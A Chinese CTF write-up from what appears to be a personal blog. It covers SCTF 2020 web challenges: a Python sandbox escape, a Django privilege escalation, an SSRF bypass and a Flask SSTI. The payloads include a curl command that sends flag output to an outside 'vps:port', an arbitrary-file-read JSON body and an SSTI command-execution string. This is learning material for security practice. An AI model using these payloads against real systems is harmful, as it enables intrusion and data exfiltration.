SCTF 2020 Web wp

S

Nep 终于进了一次前十,泪目,misc 师傅们太强了

感觉一直在摸鱼,好久没写过 web 的 wp 了,趁着环境还没关赶紧总结下。

pysandbox

  • 考点:flask、 python exec
  • Solved : 34
  • 337 pt

这题相对于 sandbox2 不需要 rce,等师傅们 wp 出来记录一下姿势。

pysandbox2

  • 考点:flask rce、 python
  • Solved : 21
  • 500 pt

大猫师傅的解法:

众所周知,py 中有个自动加载的 __builtins__ 模块来记录一些内建函数( 例如 print )等等,而刚好题目中的 ord 函数也在 __builtins__ 模块内,就可以对 ord 函数进行篡改:

由于 payload 中不能有括号,所以这里让 __builtins__.__dict__[‘ord’] 等于一个 lambda 表达式:

__builtins__.__dict__['ord'] = lambda args:42

但是这里有个空格,可以用 *args 代替,字典也可以换个形式避免引号:

__builtins__.ord=lambda*args:42

这样,我们人为规定了 ord() 永远返回 42,就等于解锁了限制,可以任意命令执行了,接下来使用常规 payload 执行命令就好:

cmd=__import__("os").popen("curl -d `/readflag` vps:port").read()

这里大猫用了另一种姿势,通过改写 flask 的路由表来让回显能打印在网页上:

app.view_functions['security']=lambda: __import__('os').popen('/readflag').read()
# 执行之后再次访问即可

不过这种方式同时做的人有上车的可能。

大猫师傅 tql

CloudDisk

  • 考点:Google hack、陌生框架学习
  • Solved : 61
  • 250 pt

根据这个 issue,post 过去一个 json,再下载就可以任意读文件,flag 在同级目录,payload:

{"files":{"file":{"name":"lol","path":"./flag"}}}

( 复现的时候题目关了,所以只有做题时的一张图 )

Jsonhub

  • 考点:SSRF,Django 特性,Flask SSTI
  • Solved : 10
  • 689 pt
  • 附件在这里

下载源码审计( 给docker好评 )会发现非常诡异的目录结构,有 web1 web2 两个服务,分别是 Django 和 Flask,看源码可知分别开放在 8000 和 5000 端口,再通过 docker-compose.yml 可知 8000 被映射到 80,而 5000 没有映射。

先来看有外网映射的 web1,在目录 /app/web1/web1 下找到路由文件 urls.py:

from django.contrib import admin
from django.urls import re_path
from app.views import reg,login,home,flask_rpc

urlpatterns = [
    re_path(r"admin/",admin.site.urls),
    re_path(r'reg/', reg),
    re_path(r'login/', login),
    re_path(r'home/', home),
    re_path(r'rpc/', flask_rpc),

]

对应的 controller 在 /app/web1/app/views.py,先是用 django.contrib.auth.models 实现的注册登录,其次是一个必须以 http://39.104.19.182/ 为开头的 ssrf ,最后是一个没有限制的 ssrf,猜测是通过这里打 5000 端口的服务。

直接注册可以访问 /home,在这里 ssrf 需要一个 token,这也是本题的第一个考点。再回头看路由表还有个 admin 路由,用注册的账户登录会提示我们不是 staff:

由于本题直接使用了 auth 模块的 user model,直接 google 就能找到对应的数据结构:

在注册的表单抓个包,会发现是 json 格式的 user,在后面接上 “is_staff” : true 在发送可以成功登陆到 admin 路由,页面会提示没有权限编辑。这个简单,直接梅开二度 加上 “is_superuser” : true 即可,登陆成功拿到 token:

下面就是第二个考点,如何 ssrf 到 5000 端口。由于 /home 路由限制我们 url 以 http://39.104.19.182/ 开头,而 rpc 又限制只能本地访问,所以这里的思路应该是从 /home 处构造一个 url,访问时会跳转到 /rpc,再控制参数来访问 5000 端口。

那么问题来了,怎么构造一个 http://39.104.19.182/ 开头,访问时却又是 localhost 的 url 呢,这里跟师傅们尝试了一晚上都没试出来,一开始是想着用 cve-2019-9636 构造畸形的井号,但是这样的 payload 类似 http://host\uFF03/rpc/ host 之后少了个 /,不能过 ssrf check,其次就是利用各种 cve 去尝试 crlf 构造 302 ( requests 遇到 302 时会接着访问 302 指向的网站),这样又被 200 的状态码拦了 o(╥﹏╥)o

等比赛结束后才知道原来这里利用了 Django 的一个特性,访问 http://host1//host2/xxx,当 xxx 是 host1 的合法路由且 host1 是 Django 服务,则会自动跳转到 host2/xxx,具体的分析请见这里

利用这个特性,就可以绕过 /home 的限制访问 127.0.0.1/rpc,payload:

# 注意本地的服务在 8000 端口
http://39.104.19.182//127.0.0.1:8000/rpc

接下来就是最后一个考点,通过 5000 端口的服务来 ssti。对应的漏洞代码如下:

@app.before_request
def before_request():
    data = str(request.data)
    log()
    if "{{" in data or "}}" in data or "{%" in data or "%}" in data:
        abort(401)

@app.route('/caculator', methods=["POST"])
def caculator():
    try:
        data = request.get_json()
    except ValueError:
        return json.dumps({"code": -1, "message": "Request data can't be unmarshal"})
    num1 = str(data["num1"])
    num2 = str(data["num2"])
    symbols = data["symbols"]
    if re.search("[a-z]", num1, re.I) or re.search("[a-z]", num2, re.I) or not re.search("[+\-*/]", symbols):
        return json.dumps({"code": -1, "message": "?"})
    return render_template_string(str(num1) + symbols + str(num2) + "=" + "?")

这里先是过滤了 {{ 等等 ssti 的标签,之后用 render_template_string 执行了拼接后数据。需要注意的是接收数据时使用了 get_json(),这个函数会自动做一次 Unicode decode,所以我们可以传 {\u007b\u007d} 来绕过。

之后就是经典的 ssti 了,我的 payload:

{
	"num1":"" ,
	"num2":"2" ,
	"symbols":"{\u007b''.__class__.__mro__[-1].__subclasses__()[117].__init__.__globals__['__builtins__']['eval']('__import__(chr(111)+chr(115)).popen(chr(47)+chr(114)+chr(101)+chr(97)+chr(100)+chr(102)+chr(108)+chr(97)+chr(103)).read()')\u007d}"
}

base64 编码之后发过去就行:

Imagin 丨 京ICP备18018700号-1


Your sidebar area is currently empty. Hurry up and add some widgets.